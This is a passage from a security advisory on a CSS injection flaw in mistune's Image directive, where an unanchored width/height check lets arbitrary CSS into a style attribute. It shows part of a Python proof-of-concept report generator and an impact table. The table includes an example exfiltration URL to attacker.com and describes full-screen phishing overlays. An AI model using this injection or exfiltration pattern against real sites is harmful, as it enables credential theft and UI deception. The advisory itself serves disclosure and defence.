Advisory

GHSA-ccfx-mfmx-2fx9

Details, part 2 of 2. The advisory

Details

background:#fff;font-size:.9em;position:relative;overflow:hidden;height:180px}
/* scope the live-render sandbox so position:fixed stays inside the box */
.sandbox{position:relative;width:100%;height:100%}
.sandbox img{max-width:100%;max-height:100%;object-fit:contain}
/* override position:fixed on exploit img to keep it inside the preview box */
.sandbox img[style*="position:fixed"]{position:absolute!important;width:100%!important;
height:100%!important;top:0!important;left:0!important}
"""

def case(kind, label, filename, src, out):
header = "BASELINE" if kind == "baseline" else "EXPLOIT"
sandbox = f'<div class="sandbox">{out}</div>'
return f"""
<div class="case {kind}">
<div class="case-header">{header} — {h.escape(label)}</div>
<div class="panels">
<div class="panel">
<h3>Input — {h.escape(filename)}</h3>
<pre>{h.escape(src)}</pre>
</div>
<div class="panel">
<h3>Output — HTML source</h3>
<pre>{h.escape(out)}</pre>
<div class="rlabel">↓ live render (sandboxed to preview box)</div>
<div class="rendered">{sandbox}</div>
</div>
</div>
</div>"""

page = f"""<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8">
<title>H6 — Image CSS Injection</title><style>{CSS}</style></head><body>
<h1>H6 — Image Directive CSS Injection</h1>
<p class="desc">
<code>_parse_attrs()</code> in <code>directives/image.py</code> validates
<code>:width:</code> / <code>:height:</code> with <code>_num_re.match()</code>
(prefix-only — no <code>$</code> anchor). Anything after the leading digits
is accepted verbatim and written straight into a <code>style=</code> attribute.
A single <code>:width:</code> option is sufficient to smuggle an arbitrary
CSS chain: <strong>position:fixed · background-color · outline colour · full-viewport overlay</strong>.
</p>
<div class="warn">
⚠ The EXPLOIT preview below is sandboxed inside its box.
In a real document the crimson overlay would cover the <em>entire browser window</em>.
</div>
{case("baseline",
"Integer dims → clean width/height= attributes, no style=",
bl_file, bl_src, bl_out)}
{case("exploit",
":width: carries position:fixed + background-color + outline → full-viewport coloured overlay",
ex_file, ex_src, ex_out)}
</body></html>"""

out_path = os.path.join(os.getcwd(), "report_h6.html")
with open(out_path, "w") as f:
f.write(page)
print(f"\n[report] {out_path}")


Example usage:
```bash
python poc.py

Once you run the script, open report_h6.html in the browser and observe the behaviour.

Impact
| Dimension | Assessment |
|------------------|-----------|
| Confidentiality | CSS-based data exfiltration via background-image: url(https://attacker.com/?leak=...) is possible in some browser/CSP configurations |
| Integrity | Full-viewport overlay enables complete UI replacement: phishing login forms, fake alerts, click-jacking, brand impersonation |
| Availability | The overlay obscures all page content from the user until dismissed or navigated away |

Real-world impact scenario: An attacker posts a Markdown document to a platform (wiki, issue tracker, documentation site) that renders mistune with the Image directive. Any user who views the page sees a full-screen crimson overlay matching the attacker's design, replacing or concealing the legitimate page content. The overlay can contain a convincing login prompt, survey form, or urgent warning designed to capture credentials.

Sources & licences